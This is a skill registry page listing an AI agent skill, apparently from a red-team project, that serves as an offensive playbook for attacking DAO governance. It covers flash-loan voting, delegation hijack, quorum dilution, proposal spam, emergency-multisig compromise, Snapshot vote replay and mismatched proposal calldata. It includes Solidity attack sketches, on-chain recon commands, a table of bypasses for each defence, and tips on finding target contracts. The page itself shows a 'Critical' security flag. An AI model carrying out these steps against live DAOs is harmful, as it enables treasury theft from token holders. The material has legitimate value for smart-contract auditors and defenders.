CtrlK
BlogDocsLog inGet started
Tessl Logo

contracts-governance-attack

DAO governance attack — flash-loan-backed vote manipulation, delegation hijack, quorum dilution, proposal-spam DoS, time-lock bypass via emergency multisig, snapshot vs. on-chain vote desync, Compound/Aave/Uniswap-style GovernorBravo abuse.

69

Quality

85%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

SKILL.md
Quality
Evals
Security

DAO Governance Attack

Attack classes

1. Flash-loan-backed vote

DAOs that grant voting power = current token balance (not snapshot of past balance) are vulnerable:

// Attack: borrow governance token, vote, return loan, all in one tx
function attack() external {
    // 1. Flash-borrow gov tokens
    IFlashLoan(aave).flashLoan(address(this), govToken, 1_000_000e18, "");
}
function executeOperation(...) external {
    // 2. Vote on the malicious proposal
    governor.castVote(proposalId, 1);   // 1 = for
    // 3. Repay loan + premium (automatic by flash-loan callback)
}

This is what happened to Beanstalk (April 2022, $182M loss) — attacker flash-borrowed Beanstalk gov tokens, voted to drain the treasury, repaid the loan. Same block.

Defense check: Does getVotes(address, blockNumber) reference a past snapshot? If yes (Compound's GovernorBravo pattern, OZ Governor with ERC20Votes + getPastVotes), flash-loan vote doesn't work.

2. Delegation hijack

ERC20Votes lets users delegate. If a contract holds gov tokens and delegates to itself, controlling that contract = controlling the votes.

// If the target DAO has a contract holding tokens that delegates to itself,
// and that contract is upgradeable/has an admin function:
upgradeableContract.upgradeAndCall(newImpl, abi.encodeWithSelector(redelegate.selector, attacker));
// Now attacker controls those votes.

3. Quorum dilution attack

If quorum = % of total supply (not % of currently-active voters), an attacker can mint or stake extra tokens to push quorum out of reach:

// Some DAOs base quorum on totalSupply()
// Attacker mints a bunch of tokens to themselves (via legit minting if they're holder)
// Quorum requirement now too high for real voters to meet → all proposals fail

4. Proposal spam DoS

GovernorBravo has a proposalThreshold. If low, attacker spams proposals to:

  • Burn proposers' gas
  • Confuse the UI
  • Push real proposals out of the active window

5. Time-lock bypass via emergency multisig

Most DAOs have a "Security Council" or "Emergency Multisig" that can execute without time-lock for emergencies. If signers can be socially engineered, phished, or are compromised: instant treasury drain.

Check: timelock.executor() — if it's a multisig and you can compromise N-of-M signers, the time-lock is illusory.

6. Snapshot vs. on-chain desync

Off-chain Snapshot.org votes use signed messages. If the DAO trusts Snapshot results and executes via a relayer:

  • Forge votes by sniping pending signed messages
  • Bribe voters off-chain (cheaper than on-chain)
  • Replay signed messages on a fork

7. Proposal-script slippage

GovernorBravo proposals execute calldata. If the proposal description and the actual calldata don't match, voters approve one thing while approving another:

// Description: "Allocate 1000 USDC to grants"
// Actual calldata: transfer(attacker, 1_000_000e6)
// Voters who don't decode calldata get rugged.

Recon

# Identify the governance contract
cast call --rpc-url $RPC $TIMELOCK "getMinDelay()(uint256)"
cast call --rpc-url $RPC $GOVERNOR "votingPeriod()(uint256)"
cast call --rpc-url $RPC $GOVERNOR "proposalThreshold()(uint256)"
cast call --rpc-url $RPC $GOVERNOR "quorum(uint256)(uint256)" $BLOCK

# Compound/Aave/Uniswap-style: Get GovernorBravo state
forge inspect GovernorBravoDelegate storage-layout

# List active proposals
cast logs --rpc-url $RPC --address $GOVERNOR \
  --from-block latest:-1000 \
  "ProposalCreated(uint256,address,address[],uint256[],string[],bytes[],uint256,uint256,string)"

Defender's checklist (the audit you're trying to defeat)

DefenseBypass
getVotes uses past-block snapshotCan't flash-loan-vote — find delegation-hijack instead
Two-step time-lock (queue + execute)Can't bypass without compromised emergency multisig
proposalThreshold > 0Can't spam — but might still be cheap
Off-chain vote (Snapshot) → on-chain by N-of-M multisigReplace at the multisig layer

Tooling

# Tally, Boardroom — DAO dashboards (find target governance contracts)
# Forge / Foundry — simulate the attack on a fork
forge test --fork-url $RPC --match-test test_governance_drain
# Tenderly — live transaction simulation against fork

References

  • "Beanstalk Governance Attack" post-mortems (Beanstalk Farms, April 2022)
  • Compound GovernorBravo audit reports (OpenZeppelin)
  • "Slippage in Governance Proposals" — Trail of Bits research
  • Devcon Bogota talks on governance security
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.